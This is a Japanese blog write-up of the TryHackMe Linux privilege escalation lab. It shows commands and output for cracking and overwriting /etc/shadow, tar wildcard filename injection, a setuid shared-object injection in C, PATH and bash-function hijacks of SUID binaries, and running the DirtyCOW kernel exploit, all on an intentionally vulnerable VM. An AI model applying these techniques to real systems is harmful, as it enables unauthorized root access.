TryHackMe

【TryHackMe】Linux PrivEscルームのWriteUP

こんにちは、のみぞうです。

TryHackMeのLinuxの特権昇格のルームを解いたので自分用メモです。いつも特権昇格できなくて悔しい思いをすることが多いのでちゃんと基礎を学んでいきたいぞー

Task 1 Deploy the Vulnerable Debian VM

SSHのエラー

まず最初にSSHでマシンに接続する必要があるんですが、そこでエラーになって足止めされました。

Unable to negotiate with 10.10.55.24 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

こちらを参考にしてローカルマシンに~/.ssh/configファイルを以下の通りで作成したら接続できた。ホストの公開鍵の種類が古い?マシンが作られたのが結構前なのかなあ?

Host *
        HostKeyAlgorithms +ssh-rsa
        PubkeyAcceptedKeyTypes +ssh-rsa

接続できたらIDコマンドを実行する。

Task 2 Service Exploits

なぜか用意されたエクスプロイトが動かなかった。色々調べたけど、多分これも環境が古いせいかなあ??解決が大変そうだったので無視して完了にした。(…)

Task 3 Weak File Permissions -Readable /etc/shadow

シャドウファイルが読み取り可になっているのでパスワードをクラックするというタスク。

権限を確認

# 権限を確認
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow

# シャドウファイルの読み出し
user@debian:~$ cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon:*:17298:0:99999:7:::
bin:*:17298:0:99999:7:::
sys:*:17298:0:99999:7:::
sync:*:17298:0:99999:7:::
games:*:17298:0:99999:7:::
man:*:17298:0:99999:7:::
lp:*:17298:0:99999:7:::
mail:*:17298:0:99999:7:::
news:*:17298:0:99999:7:::
uucp:*:17298:0:99999:7:::
proxy:*:17298:0:99999:7:::
www-data:*:17298:0:99999:7:::
backup:*:17298:0:99999:7:::
list:*:17298:0:99999:7:::
irc:*:17298:0:99999:7:::
gnats:*:17298:0:99999:7:::
nobody:*:17298:0:99999:7:::
libuuid:!:17298:0:99999:7:::
Debian-exim:!:17298:0:99999:7:::
sshd:*:17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::

マシンの中にjohnとかワードリストとかあるのかと思ったら自分で準備しなさいよってことだった。ローカルマシンにハッシュをコピペする(rootの行の1個めと2個めのコロンの間の文字列)

root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::

john the ripperを使ってハッシュを解析する。一瞬だった。

┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ cat hash.txt    
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
                                                                                                                                                     
┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ john --wordlist=/home/nmz/SecLists/rockyou.txt hash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)     
1g 0:00:00:00 DONE (2022-03-30 11:25) 3.846g/s 7876p/s 7876c/s 7876C/s kucing..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Task 4 Weak File Permissions – Writable /etc/shadow

大サービス!読み込みだけじゃなくて書き込み権限もあるよ!というタスク(そんなことあるんかいな)

# もう一度権限の確認
user@debian:~$ ls -l /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow

# ハッシュの生成
user@debian:~$ mkpasswd -m sha-512 newpasswordhere
$6$NWMdRKQPSfog9ER4$8UN5Vx2ZH15YhE0FoStGS/rjrrwrl/IAlJoXK019taFi7sJEaYW9L96yLUSr5JIsbWPen2KohWPQGJcFTBOFa.

# 生成したハッシュでrootのパスワードを書き換える
user@debian:~$ vi /etc/shadow

rootの行の1個めと2個めのコロンの間をコピペで書き換える。

user@debian:~$ vi /etc/shadow

# ルートユーザーにスイッチ
user@debian:~$ su root
Password: 
root@debian:/home/user# whoami
root

Task 5 Weak File Permissions – Writable /etc/passwd

/etc/passwdは普通はrootじゃないと書き込みできないんだけど今回はなぜか書き込み権限がみんなについてるよ!という話

# 権限の確認
user@debian:~$ ls -l /etc/passwd
-rw-r--rw- 1 root root 1009 Aug 25  2019 /etc/passwd

# パスワードハッシュの生成
user@debian:~$ openssl passwd newpasswordhere
Warning: truncating password to 8 characters
8JdQKf7zYTIbk

/etc/passwdを書き換える

rootの行を書き換える

またはrootユーザーの行をコピペして新しいユーザーを追加する

どちらかをやるとsuでrootに変われるようになってる。

Task 6 Sudo -Shell Escape Sequence

パスワード不要でsudoできるコマンドのリスト

user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

GTFO Binsを見て上のコマンドのsudoのところを確認する。たとえばfindコマンドの例。簡単すぎてビビる。

Task 7 Sudo -Environment Variables

ちゃんと動かなかった…とりあえず無視

Task 8 Cron Jobs-File Permissions

cronで実行されるファイルが改ざんできるよってタスク。

# cronの設定の確認
user@debian:~$ cat /etc/crontab
#!/bin/bash
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh #毎分実行されているシェルがある
* * * * * root /usr/local/bin/compress.sh

# シェルの場所の確認
user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 684.8 days)
/usr/local/bin/overwrite.sh

# パーミッションの確認
user@debian:~$ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13  2017 /usr/local/bin/overwrite.sh #書き込み権限がある

/usr/local/bin/overwrite.shの中身を書き直す

ローカル側でncコマンドで待ち受ける。少し待つとシェルがとれる。

Task 9 Cron Jobs-PATH Environment Variable

もっかいcrontabの確認

PATHに/home/userが含まれているのでshellを実行できる…となっているが手順通りにやっても実行権限の付与ができなかった。

とりあえず実行できなくても質問には答えられるので無視してすすめることにします(こういうの多いな…私が間違えてたらすいません)

Task 10 Cron Jobs-Wildcards

compress.shの内容を確認する

user@debian:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *

tarコマンドがワイルドカードで使われているが、tarのオプションを悪用することができるらしい。

ローカルPCでmsfvenomを使ってペイロードを生成します。msfvenon知らなかった。なんと便利なツールがあるものですね。

参考にさせていただいたページ:https://qiita.com/mr-wacker/items/0ec926951ffa5a4d197c

生成したペイロードをscpを使ってローカルからリモートホストに転送

┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ scp ~/work/THM/LinuxPrivEsc/shell.elf user@10.10.86.126:/home/user/
user@10.10.86.126's password: 
shell.elf  

参考にさせていただいたページ:https://uxmilk.jp/50946

リモートホストで実行

# 権限つける
user@debian:~$ chmod -x /home/user/shell.elf 

# ファイルをつくる
user@debian:~$ touch /home/user/--checkpoint=1
user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf

ローカルで待ち受けてたけど待てど暮らせどシェルが来なかった。なにがいけないんだ…こだわってると終わらないのでとりあえず無視して先に進むことにします。

Task 11 SUID/SGID Executables -Known Exploits

SUIDかSGIDのパーミッションがあたってるファイルを探す。SUIDはセットユーザーID・SGIDはセットグループIDのことで、誰が実行してもそのセットされたユーザーやグループで実行できる特殊な属性のこと。これを探せば自分に権限がなくても実行できるファイルがあるかも、という話。

Findコマンドで探す

user@debian:~$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15  2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr  2  2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15  2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17  2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18  2010 /usr/bin/crontab
-rwsr-xr-x 1 root root 32808 Feb 15  2011 /usr/bin/newgrp
-rwsr-xr-x 2 root root 168136 Jan  5  2016 /usr/bin/sudoedit
-rwxr-sr-x 1 root shadow 56976 Feb 15  2011 /usr/bin/chage
-rwsr-xr-x 1 root root 43280 Feb 15  2011 /usr/bin/passwd
-rwsr-xr-x 1 root root 60208 Feb 15  2011 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39856 Feb 15  2011 /usr/bin/chfn
-rwxr-sr-x 1 root tty 12000 Jan 25  2011 /usr/bin/wall
-rwsr-sr-x 1 root staff 9861 May 14  2017 /usr/local/bin/suid-so
-rwsr-sr-x 1 root staff 6883 May 14  2017 /usr/local/bin/suid-env
-rwsr-sr-x 1 root staff 6899 May 14  2017 /usr/local/bin/suid-env2
-rwsr-xr-x 1 root root 963691 May 13  2017 /usr/sbin/exim-4.84-3 #ここに注目★
-rwsr-xr-x 1 root root 6776 Dec 19  2010 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 212128 Apr  2  2014 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10592 Feb 15  2016 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 36640 Oct 14  2010 /bin/ping6
-rwsr-xr-x 1 root root 34248 Oct 14  2010 /bin/ping
-rwsr-xr-x 1 root root 78616 Jan 25  2011 /bin/mount
-rwsr-xr-x 1 root root 34024 Feb 15  2011 /bin/su
-rwsr-xr-x 1 root root 53648 Jan 25  2011 /bin/umount
-rwxr-sr-x 1 root shadow 31864 Oct 17  2011 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 94992 Dec 13  2014 /sbin/mount.nfs
user@debian:~$ 

exim-4.84-3に小文字のsがついているがこれは実行権限がついていることを示している。exim-4.84-3はExploit-DBにローカル権限昇格のエクスプロイトが公開されている。ターゲットマシンには同じコードがすでにおいてあるので試しに実行してみる。

Task 12 SUID/SGID Executables -Shared Object Injection

共有オブジェクトインジェクションという攻撃があるらしい。まず /usr/local/bin/suid-so の挙動を普通に確認する。謎のプログレスバーが表示されるプログラム。

次にstraceコマンドで実行する。straceコマンドはプログラムから呼ばれるシステムコールを確認するコマンド

user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

最後に/home/user/.config/libcalc.coがないよって出てる。ターゲットマシンにはなぜか都合よくシェルとれるコードがおいてあるので(これはどこから来たのだろう…謎)その場所にコンパイルして置いてやる。

# ディレクトリをつくる
user@debian:~$ mkdir /home/user/.config

# ついでにソースの内容の確認
user@debian:~$ cat /home/user/tools/suid/libcalc.c 
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}

# コンパイル
user@debian:~$ gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

# 実行
user@debian:~$ /usr/local/bin/suid-so 
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

Task 13 SUID/SGID Executables -Environment Variables

環境変数を悪用することもできるよって話。色々あるんだねえ。まず/usr/local/bin/suid-envの挙動を確認する。

stringsコマンドを実行して文字列を見てみる

最後の行でserviceコマンドが呼び出されている(systemctlじゃないんだなあ)がフルパスで書かれているわけではないので別のプログラムに書き換えることができる。

ターゲットマシンになぜか都合よくプログラムが置いてあるので(だからそれはどこから…)コンパイルしてserviceを置き換えると任意コードが実行できる。なんか3分間クッキングみたいだなと思い始める。

# ソースの確認
user@debian:~$ cat /home/user/tools/suid/service.c 
int main() {
        setuid(0);
        system("/bin/bash -p");
}

# serviceって名前でコンパイル
user@debian:~$ gcc -o service /home/user/tools/suid/service.c 
user@debian:~$ ls
myvpn.ovpn  service  tools

# 実行ファイルのある場所の確認
user@debian:~$ pwd
/home/user

# パスを通す
user@debian:~$ export PATH="$PATH:/home/user"

# 確認
user@debian:~$ printenv
TERM=xterm-256color
SHELL=/bin/bash
HISTSIZE=1000000
SSH_CLIENT=10.4.20.231 46080 22
SSH_TTY=/dev/pts/0
HISTFILESIZE=1000000
USER=user
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/user
MAIL=/var/mail/user
PWD=/home/user
LANG=en_US.UTF-8
SHLVL=5
HOME=/home/user
LOGNAME=user
SSH_CONNECTION=10.4.20.231 46080 10.10.129.8 22
_=/usr/bin/printenv

# 実行
user@debian:~$ /usr/local/bin/suid-env
root@debian:~# 

Task 14 SUID/SGID Executables -Abusing Shell Features(#1)

シェルの機能を悪用する。(それにしてもSUID/SGIDのくだり長いなあ)

suid-env2はsuid-envと挙動は同じ。ただし最後のserviceコマンドを呼び出すときに絶対パスで書いてあるのでTask13のように単純にパスを通せばいいというわけではない…けど。

Bashバージョン 4.2-048以下では、ファイルパスに似た名前のシェル関数を定義し、その関数をエクスポートすると、そのファイルパスの実際の実行ファイルの代わりに使用することが可能になる。とのこと。

説明読むよりやってみた方が多分わかりやすいです。

# Bashのバージョンの確認
user@debian:~$ /bin/bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

# シェル関数を定義する
user@debian:~$ function /usr/sbin/service { /bin/bash -p; }

# 定義した関数を環境変数にする
user@debian:~$ export -f /usr/sbin/service

# 実行
user@debian:~$ /usr/local/bin/suid-env2
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

Task 15 SUID/SGID Executables -Abusing Shell Features(#2)

注:Bashのバージョン4.4以上では動作しません。とのこと。結構古いな。

デバッグモードのとき、Bashは環境変数PS4を使ってデバッグ文のための特別なプロンプトを表示するので、bashのデバッグを有効にし、/bin/bashのSUIDバージョンを作成する埋め込みコマンドにPS4変数を設定して、/usr/local/bin/suid-env2実行ファイルを実行しちゃうぜ。という話。なるほどわからん。基本的なテクニックなのかもしれないけど、こういうやり方を発想できる人すごいなあ。どんな頭してるんだ。

Task16 Passwords & Keys -History Files

.bash_history とかにパスワードの情報が残っていることがあるよって話。

# ホームディレクトリのヒストリーファイル全部出す
user@debian:~$ cat ~/.*history | more
ls -al
cat .bash_history 
ls -al
mysql -h somehost.local -uroot -ppassword123 #ここに注目
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn 
ls
identify

# パスワードがわかったのでスイッチする
user@debian:~$ su root
Password: 
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

Task 17 Password & Keys -Config Files

設定ファイルの中に実はパスワードが含まれていることもあるよって話。

user@debian:~$ ls 
h_history  myvpn.ovpn  tools

#openVPNの設定ファイルをみる
user@debian:~$ cat myvpn.ovpn 
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt #ここに注目
comp-lzo
verb 1
reneg-sec 0

user@debian:~$ cat /etc/openvpn/auth.txt 
root
password123

# パスワードがわかったのでスイッチする
user@debian:~$ su root
Password: 
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

Task 18 Password & Keys -SSH Keys

隠しファイルや隠しディレクトリにヒントがあることがあるよって話。

# ホームディレクトリの内容を全部表示
user@debian:~$ ls -la /
total 96
drwxr-xr-x 22 root root  4096 Aug 25  2019 .
drwxr-xr-x 22 root root  4096 Aug 25  2019 ..
drwxr-xr-x  2 root root  4096 Aug 25  2019 bin
drwxr-xr-x  3 root root  4096 May 12  2017 boot
drwxr-xr-x 12 root root  2820 Apr  8 23:22 dev
drwxr-xr-x 67 root root  4096 Apr  8 23:22 etc
drwxr-xr-x  3 root root  4096 May 15  2017 home
lrwxrwxrwx  1 root root    30 May 12  2017 initrd.img -> boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14  2017 lib
lrwxrwxrwx  1 root root     4 May 12  2017 lib64 -> /lib
drwx------  2 root root 16384 May 12  2017 lost+found
drwxr-xr-x  3 root root  4096 May 12  2017 media
drwxr-xr-x  2 root root  4096 Jun 11  2014 mnt
drwxr-xr-x  2 root root  4096 May 12  2017 opt
dr-xr-xr-x 96 root root     0 Apr  8 23:20 proc
drwx------  5 root root  4096 May 15  2020 root
drwxr-xr-x  2 root root  4096 May 13  2017 sbin
drwxr-xr-x  2 root root  4096 Jul 21  2010 selinux
drwxr-xr-x  2 root root  4096 May 12  2017 srv
drwxr-xr-x  2 root root  4096 Aug 25  2019 .ssh # ここに注目
drwxr-xr-x 13 root root     0 Apr  8 23:20 sys
drwxrwxrwt  2 root root  4096 Apr  8 23:46 tmp
drwxr-xr-x 11 root root  4096 May 13  2017 usr
drwxr-xr-x 14 root root  4096 May 13  2017 var
lrwxrwxrwx  1 root root    27 May 12  2017 vmlinuz -> boot/vmlinuz-2.6.32-5-amd64

# .sshディレクトリの中を見る
user@debian:~$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25  2019 root_key

# 内容を表示
user@debian:~$ cat /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
<中略>
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----
user@debian:~$ 

root_keyの内容をコピペしてローカルに持ってきて鍵ファイルをつくる。

──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ ls
root_key_copy
 
# 権限をつける                                                                                                                               
┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ chmod 600 root_key_copy                   

# コピペした秘密鍵を使ってsshログインする                                                                                                                               
┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ ssh -i root_key_copy root@10.10.109.47
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 25 14:02:49 2019 from 192.168.1.2
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:~# 

Task 19 NFS

NFS経由でファイルをつくるとリモートユーザーのものになる。NFS(Network File System)とは共有フォルダみたいなやつ。/etc/exports は、どのマシンにどのディレクトリを、どのような権限でアクセス許可するかを設定するファイル。

# NFSの設定を確認
user@debian:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

#/tmp *(rw,sync,insecure,no_subtree_check)

手順通りやっても何故かうまくマウントできなかった。深みにハマりそうなので一旦放置する。

┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ sudo mkdir /tmp/nfs                   
[sudo] nmz のパスワード:
                                                                                                             
┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ sudo mount -o rw,vers=2 10.10.109.47:/tmp /tmp/nfs
mount.nfs: requested NFS version or transport protocol is not supported
                                                                                                             
┌──(nmz㉿kali)-[~/work/THM/LinuxPrivEsc]
└─$ sudo su                                                                                             32 ⨯
┌──(root💀kali)-[/home/nmz/work/THM/LinuxPrivEsc]
└─# sudo mount -o rw,vers=2 10.10.109.47:/tmp /tmp/nfs
mount.nfs: requested NFS version or transport protocol is not supported

root_squashとはNFS経由でディレクトリやファイルにアクセスする際に、root権限を剥奪し、権限の弱いユーザ(nobody)でのアクセスにマッピングされる、という設定。だそうです。その設定をしないようにするのは no_root_squash。

Task 20 Kernel Exploits

やっとカーネルエクスプロイト…長い。カーネルという一番基本的なLinuxの中身をどうにかしちゃう脆弱性です。システムを不安定にさせることがあるから最終手段にしろとのこと。なんの最終手段なのだろうか。

Linux Exploit Suggester 2という便利ツールがすでに置いてあるのでそれを使ってみようとのこと。やはり3分間クッキングみがある。

なんかめちゃくちゃキレイでみやすいなあ。上から3つ目のDirty COWに注目。DirtyCOW(CVE-2016-5195)のエクスプロイトコードもすでにおいてあるのでコンパイルして使うだけ。だからこれはどこから来たんだ。多分ここ

# エクスプロイトコードをコンパイル
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w

# 実行(終わるまでちょっと時間かかる)
user@debian:~$ ./c0w 
                                
   (___)                                   
   (o o)_____/                             
    @@ `     \                            
     \ ____, //usr/bin/passwd                          
     //    //                              
    ^^    ^^                               
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 81c44000

madvise 0

ptrace 0

# /usr/bin/passwdを実行
user@debian:~$ /usr/bin/passwd

# もともとの/usr/bin/passwdは/tmp/bakに保存してあるから戻してあげよう
root@debian:/home/user# mv /tmp/bak /usr/bin/passwd

Task 21 Privilege Escalation Scripts

他にもツールが色々あるよって話。

の3つだった。さらっと書いてあるけどこれらのツールを使いこなせたら苦労しないわけで…。

この3つの中だとlse.shの実行結果が初心者にも見やすい気がして個人的にはお気に入りです。この結果と、いままでやってきたテクニックを組み合わせるときっと特権昇格ができる!これで勝つる!んだと思いました。多分。

まとめ

めっちゃ長かった…。しかも結構ちゃんと動かないところが多いし。特権昇格は奥が深い。